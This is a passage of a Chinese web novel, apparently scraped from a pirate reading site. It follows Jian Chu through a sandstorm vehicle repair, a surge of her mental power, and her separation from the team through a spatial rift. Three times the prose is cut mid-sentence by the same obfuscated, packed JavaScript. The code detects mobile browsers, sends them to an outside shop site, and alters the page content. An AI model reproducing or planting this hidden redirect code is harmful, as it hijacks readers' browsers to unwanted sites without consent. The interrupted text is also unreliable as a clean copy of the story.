正当简初犹豫的时候，她周围的环境突然以她为中心，变成了半透明的模样，蓝色的脉络分布期间，好像她突然拥有了透视的能力，但与此同时，周围的所有声音全部都消失了。 简初下意识转头看去，透过车厢壁，不远处几乎捅到天际的巨型螺旋，一看就是正在步步逼近的风暴云。 这是什么情况？ 身边的几人依然在正常动作，简初甚至可以看到傅遥手中的嵌合器一点点严丝合缝卡进它应当待着的位置里。 突然，属于因思禾的身影猛然站起身——简初此刻听不见任何声音，只看见她飞扑向车门，紧接着外头的两人抛下已经完成了大半的工作，转头就往车厢门奔来。 为什么…… 下一秒，那个巨型螺旋仿佛是吞下什么神药，眨眼之间就突然膨胀开来，一下子将这辆车裹了进去，两人还没来得及入内，只能紧紧扒着车门，狼狈地躲避着从车厢内倾泻而出的物资。 终于，车厢内几乎失去大半物品时，他们进入了车厢，金属板落下，将车厢门卡得紧紧的。 尽管付出了一些代价，但应该是安全了，不过自己的状况并没有好转，也许她得向因思禾寻求帮助…… 简初张了张嘴，她甚至连自己的声音都听不见，更不确定自己有没有说出话来，但从其他人的动作看来，他们并没有注意到自己，大家正忙着清点被风卷走的物资。 她伸出手想拍拍因思禾的后背，却未曾料到伸出的手拍了个空。 什么？ 简初连忙把手收回，放到面前自己端详，这才发现尽管周围所有的物体都变成由蓝色脉络组成的半透明的模样，但她自己却是正常的。 不对，如果她无法触碰到因思禾，那为什么还能安安稳稳地坐在车上。 没有等她细想，整个车厢陡然在她眼前剧烈摇晃了两下，比之前轮胎爆炸的那次还要夸张，简初清晰地看到风的痕迹拍打在车厢外壁，然后顺着外轮廓涌动着，钻进尚未安装到位的轮胎缝隙中。 尽管全车都被金属板紧密包裹，甚至车底有爪型钢索深深嵌入地底，但那枚轮胎很快就变得松动，乃至左右摇摆起来。 看上去十份不妙。 就在这个想法刚刚浮现的瞬间，轮胎前的金属板瞬间被狂风掀飞，紧接着整个车厢都开始摇晃，剩余不多的物资洒落满地，傅遥和灰烬艰难地稳住了所有人的身形，将他们摁到座椅上扣上安全带。 “轰——” 简初脑海中莫名出现了这一声惊雷般的巨响，紧接着整辆车被从地上硬生生拔出来，卷上了天际。 她似乎被锁在了车厢里，尽管什么都碰不到，但却像滚筒洗衣机里的衣物一样翻腾。 然后一切定格，在简初眨眼的瞬间，她重新坐回了车厢里，视野里的事物全部恢复正常，甚至所有的物资都还在。 “快点快点……” 小孙不断低声默念，让简初愣愣看向监控屏——风暴尚未来临，而车外的两人依旧在与时间赛跑。 刚刚那到底是什么？ “紧急任务：不惜一切代价帮助他们修好车辆，并安全撤离。” 系统恰到好处的再次出言提醒，瞬间破除了简初脑海中的迷雾。 刚刚看到的那些画面，也许是系统给自己的提示，倘若她拒绝这个紧急任务，可能事情就会像这样发展。如果车厢不在空中崩解，那么他们应当不会有生命危险，但之后会发生什么就无法预料了。 毕竟这里是无人区，不是主城区。 “他们可以的。”因思禾尽管也十分焦急，但为了让其他人还有正常思考、工作的能力，不得不出言安抚，否则她一个人根本无法顾及所有的问题。 除了要监控风暴，还得随时注意傅遥两人的动向，确保能在他们上车的第一时间打开全车防御——现在的后车厢和轮胎部位还暴露在外，前者是为了外面两人能顺利上车，后者则是因为目前情况不允许。 不过，因思禾感觉自己好像忘记了什么，车上有个人已经很久没有动静了。 “我去帮忙。” “什么，等等！” 因思禾猛然从监控屏幕里抬头，下一秒就被扑面的狂风吹得睁不开眼，风中夹杂些许雨滴和沙砾，带着肃杀之气“唰啦啦”扑打在车厢内的物资上。 不过一瞬间，门就被风吹上，但放眼望去周围已经少了一个人。 简初已经不在她的座位上了。 钻出车厢的一瞬间，简初的决心就被狂风沙石砸回去一半，但是帅已经耍出去了，现在回头也来不及了！ 不管怎么样，她也不想坐在车里被吹上天，把脑浆都摇匀。 沉重的工具箱被狂风吹得移位，傅燃头也不回地向后伸出手想要拿一个新的嵌合器，却摸了个空，下一秒，一个全新的嵌合器被人放进了他手里，他抽空往旁边瞥了一眼，傅遥正在埋头苦干，那给自己递东西的…… “是我！别愣着了！” 明明声音一出口就被风撕裂得稀碎，却清晰地灌进傅燃的耳朵里，让他的心脏骤然紧缩。 “你怎么来了！”虽然嘴上这么说，但傅燃手上的动作并没有放慢，毕竟现在最急迫的就是眼前的事情。 傅遥头都没抬，顺手把简初拉过来，挤在两人之间，以防这小身板被狂风吹走。天上的雨丝逐渐变得秘籍，此时看上去还有一丝缠绵，打在身上并没有很大的痛感，但简初知道，这样的状况并不会持续很久。 她两只脚扣着工具箱，眼看他们手里的工作即将完成，就摸起两个嵌合器，一左一右准确地塞进了它们应该在的位置，严丝合缝，分毫不差。 “情况有变，我们时间不多了。” 那两人迅速将那两枚嵌合器拧紧，就算简初已经几乎睁不开眼，但还是很神奇地可以准确把每个嵌合器放在它应该在的位置上，就像一个熟练的维修师那样从不出错。 这就是传说中的，“我闭着眼睛都能干”吗？ 傅燃脑海里不期然划过一句冷笑话，同时拧紧了最后一个嵌合器。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14150860|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正当他心里松了口气时，一阵巨大的冲击力突然从后背撞来，几乎就是一瞬间的事，风暴云将他们所在的坐标吞噬，巨大的雨点混合着沙石狠狠砸在他们身上，让人几乎喘不上气。 轮胎上的金属板在他们面前缓缓合上，将整个越野包裹得密不透风，只有车厢门没有防护，在风中砰砰作响。 简初发誓，她这辈子都没有见过这么大的风，如果不是现在自己被刚刚这两人夹在中间，再加上…… 小触手悄咪咪地圈住越野车，防止她一着不慎被风吹到天上，变成一个脑浆都被摇匀的大傻子。 傅遥看简初被吹得不行，颇有些心疼地把她圈在自己怀里，俨然是一个相当靠谱的长辈，尽管此刻她正仰仗自家晚辈在前面开路。 周围的景色已经完全模糊，傅燃顶着风，走的每一步都要比平时花费更多的气力，但风暴云的速度极快，倘若他们不能及时回去，一旦进入风力最强的位置，不光是他们要被卷走，车厢门也会被无情破开，车辆会不会被掀飞暂且不论，里面的人和物资也在劫难逃。 如果不是简初来帮忙，他们现在绝对还没把轮胎装好，就算幸运回了车厢也无法安心。 傅燃咬着牙猛地向前一步，一手扣住了车厢边沿，借着胳膊的拉力，双腿的支撑终于没有那么吃力。 这种情况再不用异能……就来不及了。 突然，一只手搭上了他的肩膀，紧接着一个人被塞进他怀里，原本在他身后的人直接两步上前，挡在了前头。 “别用……异能……” 傅遥的声音顺风而来，紧接着一道绚丽的光晕炸开，傅遥正在用自己的异能抵抗这纯粹的自然力量，但在巨型风暴云面前只是杯水车薪。 耳膜开始疼痛，简初想要探出脑袋看看情况，却直接被一只手了回去，还往下压了压。 “因思禾！你先！上锁！”傅遥扒着门缝朝里面喊道，也不管里面的人能不能听见，“先锁上，太危险了！” 腰上的力道变得更重了，简初一时分不清这是小触手还是来自谁的，但不管是谁，她的五脏六腑都快要被压碎了。 不能一直这样，否则结果不会改变。 简初侧头迎着风，努力将眼睛睁开一条缝，瞬间大量的雨水像找到目标一样疯狂地灌了进来，但一秒钟已经足够她根据车厢的位置分清方向，不管怎么样，试试吧。 精神力澎湃涌出，在她面前形成了一面无形的面罩，所有风雨随之消失，可在这样的极端天气面前，维持这样状态都很吃力，精神力甚至只能维持在距离她面部两公分的位置。 这远远不够。 张开的精神力防护稍稍关怀了傅燃，让他瞬间感受到异常，他下意识低头，就看到了令人震惊的一幕。 一道无形的防护出现在简初面前，并且在以肉眼可见的速度缓慢向前推进，看上去正在与天气抗衡。很快，这道屏障就将傅遥的半个身子也裹了进去，前头的人没有回头，却抓住时机调动全身的肌肉，又向前了一大步。 这本来是一件令人激动的事情，直到傅燃再次低下头，看见简初的眼角和耳朵开始溢出鲜血。 128. 无人区（30） 剧烈的耳鸣敲击着简初的大脑，眼前的景象开始变成红色，她后知后觉地感受有血液顺着脸庞流下。 到这里就该停止了，但这该死的精神力只差那么一点点，就能开辟出一块狭窄的、通向车厢内的空间，疼痛让简初闭上了双眼，但却在脑海中“看见了”周围的一切。 因思禾和小王正紧靠着车厢，颤抖着双手随时准备在车门打开的瞬间把外头的人拉进来，驾驶位的研究员已经把手放在一个绿色的按钮上，那应该是全车防护的按钮，只等他们回到车厢，就会第一时间按下。 最后那人看上去有些手足无措，只是紧盯着被雨打得几乎完全模糊的监控屏，想从里面捕捉到一点有用的信息——比如外头的人现在正处于什么位置。 风暴中有异种的躯体被卷入其中，不消多时就被撕裂成碎片，血液混进雨水里重新砸到地面。 傅遥大半个身子已经探到车厢门边，离打开门仅仅一步之遥，但这一步却犹如天堑。 然后简初就感受到有人在拍自己的脸，手劲挺大，拍得她有点疼。 别拍了大哥！知不知道自己下手多重啊！ 莫名其妙油然而生的愤怒，让精神力突然像火焰一样膨胀开，瞬间就把前头的傅遥裹了进去。 眨眼的功夫，简初就听见耳边“砰”的一声，紧接着雨声风声骤然变小，脑海内的画面像被掐断电源一样突然消失。 精神力龟缩进她的脑海中，小触手也心疼地抱住自己差点被门夹住的尾端尖尖。 好像安全了。 这个念头划过的下一秒，简初就彻底失去意识，沉沦在一片黑暗中。 …… N62站点。 远处的黑色层云让人心惊。 根据系统测算，这团巨型风暴云接下来会朝西北移动，而不会往站点的方向来，这着实让所有人松了一口气。 “是程源那队回来了，正在楼下转移样本。”黎取匆匆推开门，将这个消息告知中控室内驻守的几人。 其实不用他说，大家都知道回来的是哪一队，毕竟刚刚进入信号范围，他们就迫不及待跟N62的中控塔台进行了短暂通讯。 李瑞千沉着脸拨弄手里的笔，整个人岿然不动。 离原定的返程时间只剩不到半小时，但另外两队此时仍然杳无音信，也就是说他们现在离站点至少还有十公里的距离，其实半个小时开过来绰绰有余，就怕万一…… 面前的数据屏上是最新的风暴云数据，上面的模拟路径不断根据已有的信息进行些微调整，但大体的方向并没有变化。 “车辆的防御等级很高，就算陷在风暴云里，安全也是可以保障的，但这样的话，今天应该来不及赶回来了。”黎取说，“或许只是中途被风暴云拖慢了脚步，现在正在往回赶也说不定。” 这团黑云并没有在原地打转的意思，至少从他们能够监测到的那部分信息来看，它是沿着一条微微弯曲的弧线前行，因此就算不行进入了风暴云的范围内，也很快就能撤离。 至少物资是足够的。 李瑞千没有回答，她知道对方说的没错，但情感上还是会替因思禾担忧，毕竟无人区可不是什么可以扮家家酒的地方，多待一天，就要额外面临一天的危险。 “滴——滴滴——” 雷达突然响起，李瑞千迅速扑到操控台，有些失望地看见地图上只有一个小红点，即便如此，她还是抱着希望接通了对方的通讯。 “信号测试信号测试，呼叫N62站点，听到请回答。” 听见古井无波的女声传来，李瑞千叹了口气，但还是强打精神回应了对方，很快，米勒尔的队伍便开足马力，朝着站点驶来。 “因博士向来是守时的人，现在看来，他们确实被什么拖住了。”李瑞千并不愿说出他们被困住的那个可能，“你不担心你的队友吗？” “啊，出任务经常会遇到危险啦，这次已经很不错了，至少装备什么的都很齐全，他们待在车里肯定没事的。”黎取摆摆手，“尹博士的队伍里都是经验丰富的老手，肯定不会贸然置身险境，就算有什么意外，肯定也都能好好应对的。” 李瑞千看了他一眼，对方看似并不担心，但话却比平时多了很多，不过她也懒得戳穿他。 “莫景，你别在这里了，下去帮他们接应一下吧。”李瑞千注意到沉默不语的小姑娘，担心她想太多，便找了点事转移对方的注意力，莫景点点头，便离开了中控室。 楼下，车辆顺利进入小院，米勒尔下车就皱起了眉头：“只有你回来了？” 他已经把时间压榨到极限，几乎是踩着点回来，但却没想到这次迟到的会是因思禾。 “因博士还没回来呢，也不知道是不是遇到什么意外了。”程源面露忧虑，“我们的样本已经都送到实验室了，我让人把车挪开，给你们腾个位置。” 米勒尔这次没有回答他，只是看了崔斯特一眼，这位安保队长立刻读懂他的意思，走上前承担了和程源的交涉工作。很快，院子里就只剩下他们一组人马，研究员们忙碌着将车上的样本小心翼翼转移走。 “祖父！”凯文早早等在这里，但直到米勒尔把一切安排好，他才开口呼唤对方。 米勒尔闻声而去：“怎么你一个人来了，你哥呢？” “我原本想喊他一起来，但是没找到人。”凯文嘟嘟囔囔地抱怨。 “算了，跟我去中控室看看情况。”米勒尔带着凯文离开，走了没两步突然回头朝崔斯特开口，“待会你去找一下伊森，我得听听他这几天的情况汇报。” “当然，还得听听你这几天跟着学了些什么。”他转头看向凯文，微微颔首，对于米勒尔来说，这已经是相当和蔼的态度了。 “是！”崔斯特目送他的背影消失在楼内，一时有些出神。 林愿仰着头，不知道在看什么地方，没过一会突然低头开口:“崔斯特，可以帮我找林颀要一下血清吗？” “我记得之前刚要过一次？”崔斯特回神。 “嗯，上次给的太少了。”林愿老老实实回答，却让崔斯特有些语塞。 “抱歉，我会帮你去要的。” “谢谢，不过之前我好像让他生气了，这次可能有点麻烦，拜托你了。”林愿用那双时刻都没有么情绪的眼睛盯着崔斯特，竟然让他看出几分莫名的诚恳。 “呃，我会想办法的。”在大脑运转之前，嘴皮子先运转起来了。 看来又得跟林颀那家伙吵一架了，虽然大部分时候他是在被动挨骂。 真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14182516|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是欠他们的。 …… 遥远的无人区深处，一辆越野几乎在与身后的黑云赛跑。 尽管风暴云的方向与他们不同，但由于它的体积过大，所以他们一直处在随时可能被边缘云层吞没的危机中，现在所有人都无比庆幸那只轮胎被完美地装了上去，否则现在面临恐怕就不是能不能跑出影响圈的问题了。 此时，原以为不会派上用场的急救设备正在“滴滴”运作，除了开车的小王，其他人都一脸严肃地盯着因思禾，她此时双眼紧闭，掌心牢牢按在简初的太阳穴处。 作为联研所的核心角色之一，因思禾已经很多年没有亲自进入他人的精神空间了，毕竟这种事对于双方来说都有一些风险，虽然绝大多数情况下，就算出了问题也是可以恢复的，但因思禾的身份就决定了联邦不可能让她冒着个险。 小孙本提议让她来处理，却被因思禾一口否决。 “你不行，你扛不住她的精神力。” 小孙还以为是自己听错了，但因思禾严阵以待的表情做不了假，几人只能眼睁睁看着因思禾“破戒”，在没有向联研所申请的情况下，尝试与简初进行精神链接，以便检查她精神空间的状态。 “嘶！” 傅遥紧盯着因思禾的表情，在她面露艰涩、猛然收手的瞬间直接一把捞住她软倒的身体，而傅燃则是眼疾手快，将精神力稳定器的设备端口贴上了简初的太阳穴。 “情况怎么样？你还好吗？”傅遥赶紧让因思禾坐下，也不在乎什么形象，两人直接靠着物资箱坐倒在地。 因思禾硬是缓了两口气才摇摇头：“不行……我进不去。” “怎么可能？！”其他人大惊失色。 早年因思禾的精神力等级就进入了特级，现在更是只高不低，如果连她都进不去，那简初究竟…… 几位研究员的脸色极速变化，他们显然都想到了同一件事。 “只是精神力暴走了。”因思禾眼尖地注意到他们的表情，“可能觉得周围很危险，所以非常抗拒，车上设备有限，我们得尽快赶回去……” 后面的话她没说出口，但几人都知道，如果任由事态继续发展，简初的精神力轻则等级下降，重则直接崩溃，届时她的异能都会随之消失，成为一个不折不扣的普通人。 “你把刚刚的情况跟我说说，小孙，你们先帮忙照顾一下。”因思禾拉着当时在外头的两人窃窃私语，不过他们的交谈声一点都没有传出去，仿佛这里开辟了一个独立空间。 傅燃听着傅遥的描述，自己做一些简单的补充，而他的眼神一直落在简初身上，防止那几个研究员要对她做什么。 “按照你们的描述，很像是精神力实体化。”因思禾眉头紧皱，“但这只是理论层面的概念，真的有人能做到吗？” 她显然已经沉浸在自己的思绪中。 “怪不得程源要让她加入实验……”因思禾露出一个“礼貌”的微笑，直叫傅遥后背发凉。 “就算是短暂暴走，能达到这个强度只能说明她的精神力等级绝对不可能只是A，既然如此……”因思禾突然看向傅燃，“你的问题，她也许可以解决，我是说……” 因思禾手腕微动，整个手掌横劈向下。 “斩草除根。” 129. 无人区（31） 简初的意识忽远忽近，她感受到自己被一圈没有温度的白光笼罩，紧接着一阵阵耳鸣从远而近，带着3D环绕的效果在她的脑海中旋转。 有人在她耳边说着什么，但此时的简初仿佛整个人沉溺在水中，那声音好像从很远的地方传来，飘飘然带着“咕噜噜”的水泡破裂声，混合着压在嗓子里的呜咽钻进她的耳朵。 简初慢慢睁开眼，先是看见一层薄薄的红雾覆盖在眼前，她用力眨了两次眼，感觉到有液体顺着眼角流出，视线中的色彩才慢慢恢复正常。 头顶是灰扑扑的车顶，身下的车在不断震动，但失去意识之前听见的呜呜风声已经消失了。 他们安全离开风暴云内部了？ 旁边伸出一只手，拿着纸巾温柔地拭去简初眼角的液体，她草草瞥了一眼，纸巾上是暗红色的，带着点甜甜的铁锈味，简初后知后觉地伸手想要擦擦眼角，却被人按住了手。 “手上脏，我给你擦。” 这句话伴随着监测设备发出的滴滴声，吸引了其他人的目光，就连驾驶位上的人也匆匆看了一眼后视镜。 因思禾仔细擦干净简初的眼角，轻声细语，生怕嗓门一大就把人惊着：“你感觉怎么样？” 简初已经记不清这是她第几次听这句话了，可大脑一旦开始试图转动，脑海深处就传来针刺般地疼痛，一旁的监测仪器猛然发出巨大的警告声，把所有人吓得一个激灵。 “不不不，你先别想东西，放空大脑，不要思考。”因思禾直接伸手捂住简初的眼睛，出言安抚。 在仪器巨大的动静中，系统的音乐声“恰到好处”地响起，但简初只能刻意控制自己不要去过多思考，只是被动地接收来自系统通报的信息。 “噔噔噔！” “恭喜你在千钧一发之际突破自我，也许没有你的帮助，他们的生命并不会受到威胁，但显然现在你得到了更好的结果。” “精神力环锁解除，你激活了自有技能【物质扫描】。” 与之前不同，这次系统并没有对新技能进行解读，但这样对简初来说也不算坏事，否则她现在肯定没办法控制自己不去理解新异能的效果。 “精神力暴走之后需要足够的休息。”因思禾轻声解释道，见监测仪器的“哔哔”声终于消失，才挪开遮在简初眼前的手，“万幸没有受到什么不可逆转的损伤，以后不能这么冒险，不过这次……还是多亏了你。” “这种事情，小孩子保护好自己就行了，难道还信不过专业人士吗？”已经脱离危险，一边的傅遥又变成之前的模样，甚至抬手秀了秀自己的肱二头肌，让车厢内的氛围为之一松。 简初扯了扯嘴角，有些无语，但也明白对方只是想用这种方式让她轻松一些。 “辛苦了。”傅遥伸手拍了拍简初的脑袋。 “……抱歉。”一直沉默的傅燃突然冒了一句，待傅遥挑眉看过来时，他又已经靠坐在物资箱旁，垂着眼皮不说话。 傅遥拍拍他的肩以示安抚。 这样的事情无法预料发生，实在是几个巧合凑在一起，最终形成了现在的境况，不过现在再去想，如果车胎没破，又或者是当时如果大家一起去修轮胎之类的，也已经没有意义了。 外面仍然传来隆隆的雷声，不过听上去很远很远。 “大概还有一个小时，我们就能进入N62站点的通讯范围了。”副驾驶的小孙提醒道，“因博士，到时候需要联系医疗小组过来接人吗？” “不用！”简初抢先开口，“我已经没事了，也不差这一会。” 尽管刚刚的疼痛来得很突然，但它走得也很快，她此刻反而感觉到精力异常充沛，再加上系统的喜报，简初几乎可以确定自己并没有什么问题，甚至说是因祸得福。 简初昂着脑袋，精神力鬼鬼祟祟地冒出来，将车厢内的一切包裹进去，下一秒，她就明白了刚刚所说的【物质扫描】究竟是什么意思。 车厢内部除了几人之外，几乎全部都是对方的物资设备，而此时，每一件仪器的内部结构全部出现在了简初眼中，虽然没有那么精细，但关键的结构部位都被深深浅浅的蓝色脉络勾勒出来。 和不久前她看到的“幻觉”一模一样。 傅遥和傅燃沉默地坐在旁边，两人的手都撑在膝盖上，动作看上去完全是复制粘贴的，但很可惜，这个新异能在他们身上并没有生效。 看来这个能力只能作用在无生命的物体上。 因思禾把仪器里的数据仔细看过，才点点头，算是接受了简初的话：“确实没什么大碍，不用联系医疗小组，回去之后跟我去实验室检查一下就好。” “明白。”小孙点点头，便又转过身，坐在副驾驶观察四周的情况。 简初仿佛一具干枯的木乃伊，看起来就这么直挺挺地绷着身子，但实际上已经用精神力把周围所有能扫描的东西都看了个遍。 然后后车厢里的所有人就看见简初突然莫名蛄蛹起来，紧接着艰难地从领口掏出一根深色的带子来。 一旁的研究员下意识瞪大了眼：“你怎么把这个摘下来了！程院长不是让你一直戴着的吗！” 过度惊讶让他没能收住自己的音量，也来不及反应，只能眼睁睁看着简初将带子甩到一边，好巧不巧就落在了因思禾手边。 诶，等等！ 他还没来得及伸出手，就看见因思禾一脸好奇地举起了这根带子，这借给他十个胆子，也不敢从因博士手里抢东西啊！ “坏了。”因思禾仔细打量了两眼，甚至伸手摸了摸已经蜷曲的尖刺，面不改色地将带子团了团，随手塞进一旁的废弃物垃圾袋里，“应该是受到暴走的精神力冲击，已经没用了。” 她觑了眼表情担忧的研究员：“回头我跟程源说，不用你们去汇报。” 听见这话，研究员的表情才明显放松下来，之后有些尴尬地挠挠头，张嘴想要解释什么，但最终什么也没说。 既然因博士主动把事情揽过去，他们就不用去触程院长的霉头了。 因思禾哪里看不出他在想什么，这次队里的三个研究员都没有什么城府，再加上她一路上有意试探，所以明显能看出他们并不清楚这个项目的内情。 看来程源把这个违规项目包装得很不错，但这又带来了一个新问题。 整个项目团队有那么多人，程源是如何瞒着他们，把自己真正想做的实验混入其中，甚至还能顺利地产出成果，并运用在莫景的身上。其他人不提，这些研究员可都是直接参与项目的人，作为联研所的分部，他们的能力绝对不可能平庸，如果出现明显超出研究范围的内容，他们没有道理察觉不到。 因思禾的眼神再次从他脸上划过，甚至用余光观察了前排两人的动作，却并没有发现异常。 总不可能项目组的每个人都是超级影帝，排除掉其他可能，那就只剩下最后的猜想——他们是真的不知道这个项目真正的研究目的。 想到不能从他们嘴里套出什么，因思禾突然没了兴致，终于露出一丝久处高位之人的淡淡疲倦，和简初对上了眼神。 就这么一瞬间，她竟然觉得自己的想法已经被对方看透。 “呲——” 就在这瞬间，整辆车突然一个急刹，车厢内没有被固定的东西叮呤咣啷洒落一地，甚至有几个直直冲着简初的面庞而来，被她匆忙用手挥开，但失去了双手的帮助，她整个人都无法控制地往后滑去，就在她的脑袋即将撞进前排座位下的缝隙时，斜里突然伸出一只手，紧紧握住了她的脚腕。 简初没有来得及看清是谁帮了她，就听见斜上方传来小王惊恐的喊声。 “那是什么！！！” 这道喊声里蕴含着极度的惊恐，比之前撞进风暴云时更甚，因思禾挣扎着想要爬起身，看看外面究竟发生了什么，但下一秒车辆却猛然加速，让她整个人不受控制地又往后倒去。 幸好这次傅遥接住了因思禾，否则后脑勺要是装到什么，肯定又是无尽的麻烦。 “刹车失灵了！！！”小王的嘶吼几乎沁出血来，却几乎要被周围的嘈杂淹没。 见简初已经稳住身形，傅燃松开手，直起身向外看去，却未曾想前车窗外并不是无人区的满目荒凉，更不是他想象中的异种群。 而是一片巨大的、虚无的黑暗。 空中被扯开一个巨大的裂口，它的边缘参差不齐，高度大概和这辆越野齐平，但横向很宽，至少从车内看过去，傅燃暂时还看不见两端的尽头。 不过两秒，他们已经来到裂缝的面前。 小王咬紧牙关，脸上的青筋都要蹦出来，但他脚下的刹车丝毫没有反应，不断加快的车速甚至让他怀疑自己是不是踩到了油门，但油门又确实在另一边，没有被踩住，更没有被卡住。 此时，他们距离N62站点的通讯范围只有不到五公里，但整辆车却不受控制地，直直冲进了那条漆黑的裂缝。 车窗外陡然变成一片黑暗，好像所有的光线都被吞噬，紧接着车窗前的空气突然出现一些裂纹，有丝丝缕缕的光线透进来，然后裂纹越来越大，直到所有人耳边传来“噗”的一声轻响。 就像是车辆穿破了空中无形的泡泡，来到了裂缝的另一面。 地图上的坐标没有改变，他们仍在距离N62站点五公里的位置上，傅燃顾不上别的，猛然打开后方的车厢，“砰”的一声，所有人都看见了那道被车甩在身后的裂缝。 它好像只是一个幻象，或者是海市蜃楼之类的东西，总之他们就这么安然无恙地穿过了它。 这究竟是什么东西？ “它在……消失？”小孙头发凌乱，安全带把她牢牢按在座位上，她只能努力转过身子，从夹缝中看向越来越远的黑色裂缝。 这一路上的各种事情都太挑战她的神经了，现在几乎无法自主思考。 就这么十来秒，车已经开出去好远，但傅燃仍然可以看见那道裂缝的边缘不断蠕动，好像是空气发现了这里有一块“空缺”，争先恐后地填补进来，很快，就只剩下一道窄窄的黑线，最后消失无踪。 “到底是什么东西？”因思禾撑着手边的物资箱，努力撑着身子看过去，“要不要回去看看？” 此言一出，全场安静下来，顶级研究员的求知精神让所有人望而生畏。 而就在这时，傅遥发现了一点怪异的地方，从刚刚开始，车厢里好像少了什么…… 她蓦然回头，眼神落在空空荡荡的车厢中，此时地面上散落着满地的贴片，甚至还能依稀看出来它们是沿着人形排布的，但那人已经不见了踪影。 “简初……不见了？” …… 进入裂缝的第一秒，简初就意识到了不对。 她不知道其他人那边发生了什么，但她几乎是眼睁睁看着整个车厢、以及车内的所有人，仿佛被抹去的图层一样消失在了眼前，而一切的根源，就是那道诡异的裂缝。 越野车从中经过，却只单独留下了她一个人。 失去了车厢的支撑，简初在重见天日的瞬间就狠狠摔在了地上，她抹开沾了满脸的沙土，坐在地上放眼望去，周围仍然是无人区的典型地貌，她伸手抓起地上一撮沙石，放在掌心碾了碾。 越接近无人区的深处，环境里的岩石会变得越少，而此时她身处的环境，应该已经在偏外围的位置了，但具体在何处也没办法估算，因为简初的终端此刻仍然没有信号。 失去了车载雷达的指引，她无法知道自己确切的位置，周围也没有什么典型的地貌……简初眯着眼抬头看看西移的太阳，便迅速直起身，拍拍身上的灰土，抬脚往南方走去。 至少这边是通往更安全的外围。 简初深一脚浅一脚，几个月来得到充分锻炼的体质此刻发挥了一些作用，尽管比不上专业的作战人员，但至少没拖她后腿。 不过这么看来，刚刚那道裂缝应当是一个随机出现的空间裂隙，但万幸的是它范围有限，所以没把自己扔得太远，至少还留 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14214306|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一点徒步走回站点的希望。 但很快，这点希望就随着太阳渐渐落山而变得渺茫起来。 简初撤掉【极寒领域】，小心地点燃一小簇火焰用以驱寒。为了避免引起异种的注意，她不能把火焰点得太亮，不过……简初低头确认了一下时间，再过两个小时，无人区深处的辐射就会蔓延到这里，她最好在那之前和站点，或者和因思禾她们联系上。 以她目前的体能，这点距离应该不在话下，但就怕中途会发生意外，毕竟从进入启明星开始，一桩桩怪事接连发生，让整个行动都沾染了一层诡谲的色彩。 如果因思禾等人发现自己不见了，一定会想办法在附近搜索，再不济，回到N62站点之后，一定会组织人手展开搜救工作。 归根结底，并不是简初对她们之间的合作关系有多么信任，而是无人区计划刚刚开始，对于正常行动中失踪的人员，因思禾必然要尽力搜救，如果就这么放弃她，只会让其他人在接下来的行动中畏手畏脚，不敢再深入无人区进行调查。 时间即将来到七点，夜间的风逐渐变得像刀子一样，每一下都要吹到人的骨缝里，而就在这时，简初远远看到一个忽闪忽闪的白色亮点，如果没有看错，应该是站点顶部的微型灯塔。 “奇怪……” 简初喃喃自语，脚下却很实诚地调整了方向，往那处光源而去。 难道自己已经陷入了某个幻境而不自知？她暗自警告自己，并提起十二分的警惕。 现在简初已经能大概看清站点的轮廓。说实话，N30之后的站点看上去都大差不大，毕竟研究所也没有那么多闲情逸致，给每个站点设计不同的建筑风格，反正无人区的大环境放在那里，完全可以靠一张建筑图纸走天下，最多就是越接近内部，会配备越多的武器设施罢了。 但很明显，简初看到的站点并不是N62。 N62站点仍然处于建设中，所以它反而有着很明显的外部特征，就是它的外立面还没有修饰完毕，整栋楼都像是打满了补丁，而面前的这栋楼却有着完整光洁的外立面。 也许是那道裂缝将她送到了更靠近外围的位置？简初心想。 时间不多了，她得赶紧进到站点里面去。 简初加快脚步，迅速接近那栋小楼，却没有发现自己的终端一角依旧显示着“无信号”。 …… 此时天色渐暗，而越野车又在原地绕了一大圈。 “没有检测到人类的生命信号。”小孙擦了擦额头的汗珠，再次说出这句让人沮丧的话。 一个小时的时间，他们以裂缝出现的坐标为中心，反复在周围兜了好几圈，都没有看到任何人活动的踪迹。 不，就连异种都没有出现过。 “因博士……时间快到了。”小王委婉提醒道。 现在早已过了约定的返程时间，他们得赶紧回去了。车里的储备能源已经进入警戒线，而时间一到，无人区内部的辐射就会席卷而来，与之同时出现的，还有变得更加活跃的异种们。 如果只是驻扎还好，但要是去找人，就不光是资源的问题……他们队伍里只有两个作战人员，不管谁离开了，他们都会觉得不安。 “该死，到底去哪儿了。”因思禾咬牙切齿，没想到临到最后竟然还会发生这样的意外，而且竟然又是简初。 她难道和无人区八字不合吗？ 